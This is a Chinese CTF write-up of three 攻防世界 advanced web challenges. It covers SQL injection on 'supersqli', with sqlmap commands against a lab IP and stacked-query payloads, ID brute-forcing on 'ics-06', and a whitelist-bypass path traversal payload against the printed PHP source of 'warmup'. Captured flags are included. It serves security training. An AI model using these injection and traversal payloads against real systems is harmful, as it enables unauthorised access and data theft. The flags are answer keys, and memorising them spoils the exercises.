攻防世界web解题[进阶](二)
介绍:记录解题过程
5.supersqli
题目描述:随便注
sqlmap爆破(sql注入)
- <1>.sqlmap爆当前数据库信息
python sqlmap.py -u "http://111.200.241.244:49359/?inject=1" --current-db
[16:37:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Nginx 1.16.1
back-end DBMS: MySQL 5 (MariaDB fork)
[16:37:04] [INFO] fetching current database
[16:37:04] [INFO] resumed: supersqli
current database: 'supersqli'
- 得到数据库名
supersqli
- <2>.sqlmap.列出指定数据库所有的表名
python sqlmap.py -u "http://111.200.241.244:49359/?inject=1" -D supersqli --tables
- 发现sqlmap爆不出表名
- 查看源码,看到了这句话,额…sqlmap看来用不了了,那只能手工注入了
<!-- sqlmap是没有灵魂的 -->
手工注入
/?inject=2-1
的结果与 /?inject=2
相同,说明不存在数字型注入
尝试 /?inject=2'
发现页面回显如下,说明存在字符型注入
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''2''' at line 1
- 尝试了各种注入都不行,用堆叠注入可以:
<1>.查看数据库名:
/?inject=1';show databases;#
- 回显
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
<2>. 查看表名
1';show tables;#
array(1) {
[0]=>
string(5) "words"
}
array(1) {
[0]=>
string(6) "words1"
}
<3>.查看两个表中的内容:
[1].words表
1';show columns from `words`;#
array(6) {
[0]=>
string(2) "id"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
[2].words1表
1';show columns from `words1`;#
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
- 显然,我们要的flag应该就在words1表的data字段中
<4>.查看data字段内容得到flag
1' or '1'='1
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
6.ics-06
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
-
一开始看起亳无头绪,去找了wp才知道如此简单
-
漏洞在 大数据 -> 报表中心
-
用BurpSuite爆破到
id=2333
就得到flag
- flag
cyberpeace{c5f611ad16226ad59a9aca960dbd2f96}
7.warmup(任意文件读取漏洞)
题目描述:暂无
- 查看源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
- 这里有个
<!--source.php-->
- 访问
http://IP:POST/source.php
- 代码如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 这里有个hint.php我们先访问一下
flag not here, and flag in ffffllllaaaagggg
-
这里告诉我们
flag
在ffffllllaaaagggg文件
,但ffffllllaaaagggg文件
不在当前目录 -
首先看这一段
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
- ,这是个任意文件读取漏洞,接收参数flie,再通过
include
引入文件,进而实现读取我们以file=[传入文件名]
形式传入的文件。 - $_REQUEST 可以通过 GET、POST、COOKIE 的方式来传递参数
- 而在checkFile()函数中存在许多过滤的措施,我们需要饶过:
绕过过滤
代码己做详细注释
<?php
highlight_file(__FILE__);
class emmm{
public static function checkFile(&$page){
// 白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
// isset():检测变量是否已设置并且非空,是则返回True
// is_string():检测变量是否为字符串,是则返回True
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
// 检测变量$page是否在白色单中,在则返回True
if (in_array($page, $whitelist)) {
return true;
}
// 切割变量$page,取`?`后的部分赋值给$_page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 检测变量$_page是否在白色单中,在则返回True
if (in_array($_page, $whitelist)) {
return true;
}
// 编码转换
$_page = urldecode($page);
// 切割变量$page,取`?`后的部分赋值给$_page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// !!! 突破口 !!!
// 检测变量$_page是否在白色单中,在则返回True
if (in_array($_page, $whitelist)) {
return true;
}
// 绕过失败退出
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 我们的目标便是让checkFile()函数返回Ture
- payload就可以这样构造:
- 用
source.php?
去绕白名单检测 - 读取
ffffllllaaaagggg
文件的payload
http://IP:POST/?file=source.php?/../../../../ffffllllaaaagggg
- flag
flag{25e7bce6005c4e0c983fb97297ac6e5a}
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92722.html